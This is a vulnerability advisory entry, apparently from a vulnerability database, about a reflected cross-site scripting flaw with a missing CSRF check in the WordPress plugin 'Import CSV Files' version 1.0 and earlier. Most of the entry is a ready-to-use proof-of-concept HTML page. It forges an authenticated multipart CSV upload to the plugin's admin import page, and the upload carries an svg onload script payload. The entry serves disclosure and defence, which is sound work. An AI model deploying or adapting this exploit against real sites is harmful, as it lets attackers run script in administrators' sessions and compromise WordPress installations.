Import CSV Files <= 1.0 - Reflected Cross-Site Scripting

2022-06-2100:00:00

Benachi

0.001 Low

EPSS

Percentile

32.2%

JSON

The plugin does not sanitise and escaped imported data before outputting them back in a page, and is lacking CSRF check when performing such action as well, resulting in a Reflected Cross-Site Scripting

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/tools.php?page=import_csv_files", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------64690472712570779792526672144");
        xhr.withCredentials = true;
        var body = "-----------------------------64690472712570779792526672144\r\n" +
          "Content-Disposition: form-data; name=\"_csv_import_files_next\"\r\n" +
          "\r\n" +
          "next\r\n" +
          "-----------------------------64690472712570779792526672144\r\n" +
          "Content-Disposition: form-data; name=\"csv_import\"; filename=\"a.csv\"\r\n" +
          "Content-Type: text/csv\r\n" +
          "\r\n" +
          "My first post,May 21 2022,\x3csvg/onload=alert(/XSS/)\x3e\x3csvg\x3e\n" +
          "\r\n" +
          "-----------------------------64690472712570779792526672144\r\n" +
          "Content-Disposition: form-data; name=\"post_format\"\r\n" +
          "\r\n" +
          "post\r\n" +
          "-----------------------------64690472712570779792526672144\r\n" +
          "Content-Disposition: form-data; name=\"field-delimiter\"\r\n" +
          "\r\n" +
          ",\r\n" +
          "-----------------------------64690472712570779792526672144\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "Next \x3e\r\n" +
          "-----------------------------64690472712570779792526672144--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

32.2%

JSON

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